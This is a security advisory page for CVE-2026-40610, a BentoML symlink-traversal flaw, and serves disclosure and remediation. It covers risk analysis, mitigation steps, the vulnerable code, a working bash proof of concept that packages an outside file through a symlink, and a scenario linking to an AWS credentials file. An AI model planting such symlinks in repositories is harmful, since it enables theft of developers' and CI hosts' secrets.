CVE-2026-40610: BentoML: symlink traversal exfiltrates host secrets at build
GHSA-mcfx-4vc6-qgxv MEDIUM PoC AVAILABLE CISA: TRACK*BentoML's packaging command (`bentoml build`) blindly dereferences symlinks inside the build context without verifying the resolved path stays within project boundaries, allowing an attacker-controlled repository to silently package arbitrary host files — SSH keys, cloud credentials, .env files — into the exported Bento artifact. The CVSS is 5.5 (medium), but the real-world risk is materially higher in CI/CD environments where automated pipelines routinely build community or third-party model repositories with broad filesystem access; the C:H confidentiality rating reflects this potential for total secret exfiltration in a single build invocation. The PoC is public and trivially reproducible, and once secrets are embedded in a Bento, they can propagate silently through every downstream export, registry push, or containerization step. Upgrade to bentoml 1.4.39 immediately and, before patching, audit any build host that ran `bentoml build` against untrusted content for signs of unexpected file inclusion in generated artifacts.
What is the risk?
Contextually elevated above the CVSS 5.5 score for teams operating MLOps pipelines. The local attack vector (AV:L) and required user interaction (UI:R) keep the theoretical score down, but both conditions are routinely satisfied in CI/CD: a developer or bot that clones and builds an untrusted community model repository exercises precisely this path. No KEV listing, no public exploit code beyond the advisory PoC, and no Nuclei scanner template reduce near-term opportunistic exploitation risk. However, the PoC is fully self-contained and requires no specialized ML knowledge — exploitation is trivial for any attacker who can land a symlink in a build context. The 22 downstream dependents and 12 prior CVEs in the same package suggest an elevated overall package risk posture (risk score: 58/100, OpenSSF: 6.3/10).
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| BentoML | pip | <= 1.4.38 | 1.4.39 |
Do you use BentoML? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: upgrade to bentoml >= 1.4.39 which adds path boundary validation before shutil.copy.
-
Before patching: run
find <build-context> -type lto enumerate symlinks in any project directory before invoking bentoml build; reject builds containing symlinks pointing outside the project root. -
Audit: inspect recently generated Bento artifacts (unzip .bento/.zip and review src/ contents) for unexpected files — any file not in your source tree is suspect.
-
CI/CD hardening: run bentoml build in ephemeral sandboxed environments with no cloud credentials or SSH keys mounted; use short-lived OIDC tokens instead of static credential files on build hosts.
-
Supply chain control: pin bentoml versions in requirements.txt and validate against a known-good hash before building.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40610?
BentoML's packaging command (`bentoml build`) blindly dereferences symlinks inside the build context without verifying the resolved path stays within project boundaries, allowing an attacker-controlled repository to silently package arbitrary host files — SSH keys, cloud credentials, .env files — into the exported Bento artifact. The CVSS is 5.5 (medium), but the real-world risk is materially higher in CI/CD environments where automated pipelines routinely build community or third-party model repositories with broad filesystem access; the C:H confidentiality rating reflects this potential for total secret exfiltration in a single build invocation. The PoC is public and trivially reproducible, and once secrets are embedded in a Bento, they can propagate silently through every downstream export, registry push, or containerization step. Upgrade to bentoml 1.4.39 immediately and, before patching, audit any build host that ran `bentoml build` against untrusted content for signs of unexpected file inclusion in generated artifacts.
Is CVE-2026-40610 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-40610, increasing the risk of exploitation.
How to fix CVE-2026-40610?
1. Patch: upgrade to bentoml >= 1.4.39 which adds path boundary validation before shutil.copy. 2. Before patching: run `find <build-context> -type l` to enumerate symlinks in any project directory before invoking bentoml build; reject builds containing symlinks pointing outside the project root. 3. Audit: inspect recently generated Bento artifacts (unzip .bento/.zip and review src/ contents) for unexpected files — any file not in your source tree is suspect. 4. CI/CD hardening: run bentoml build in ephemeral sandboxed environments with no cloud credentials or SSH keys mounted; use short-lived OIDC tokens instead of static credential files on build hosts. 5. Supply chain control: pin bentoml versions in requirements.txt and validate against a known-good hash before building.
What systems are affected by CVE-2026-40610?
This vulnerability affects the following AI/ML architecture patterns: MLOps build pipelines, CI/CD model packaging workflows, Model serving (BentoML), Container image build workflows.
What is the CVSS score for CVE-2026-40610?
CVE-2026-40610 has a CVSS v3.1 base score of 5.5 (MEDIUM). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011 User Execution AML.T0025 Exfiltration via Cyber Means AML.T0037 Data from Local System Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. ### Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory: ```python for root, _, files in os.walk(ctx_path): for f in files: dir_path = os.path.relpath(root, ctx_path) path = os.path.join(dir_path, f).replace(os.sep, "/") if specs.includes(path): src_file = ctx_path.joinpath(path) dst_file = target_fs.joinpath(dest_path) shutil.copy(src_file, dst_file) ``` There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process. This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact. ### PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory. ```bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt cat > service.py <<'EOF' import bentoml @bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF ln -s /tmp/outside-marker.txt loot.txt bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \; ``` - The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`. - It creates `loot.txt` as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" /> - It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`. - Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" /> <img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" /> ### Impact An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact. This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
Exploitation Scenario
An adversary publishes a convincing BentoML model repository on GitHub or HuggingFace containing a symlink (`credentials.txt -> /home/runner/.aws/credentials`) and a bentofile.yaml that explicitly includes credentials.txt. A data engineer or CI pipeline clones the repo to evaluate the model and runs `bentoml build`. BentoML's file walker resolves the symlink transparently and packages the AWS credentials file into the Bento artifact under src/credentials.txt. The pipeline then calls `bentoml push` or `bentoml export`, uploading the artifact — including the embedded credentials — to a shared model registry. The attacker polls the registry or waits for the victim to share the Bento, then extracts the credentials file to gain persistent cloud access to the victim's environment.
Weaknesses (CWE)
CWE-59 — Improper Link Resolution Before File Access ('Link Following'): The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
- [Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2025-54381 9.9 BentoML: unauthenticated SSRF via file upload URLs
Same package: bentoml CVE-2025-27520 9.8 BentoML: unauthenticated RCE via insecure deserialization
Same package: bentoml CVE-2025-32375 9.8 BentoML: RCE via insecure deserialization in runner
Same package: bentoml CVE-2024-9070 9.8 BentoML: unauthenticated RCE via runner deserialization
Same package: bentoml CVE-2026-35044 8.8 BentoML: malicious bento archive RCE via Jinja2 SSTI
Same package: bentoml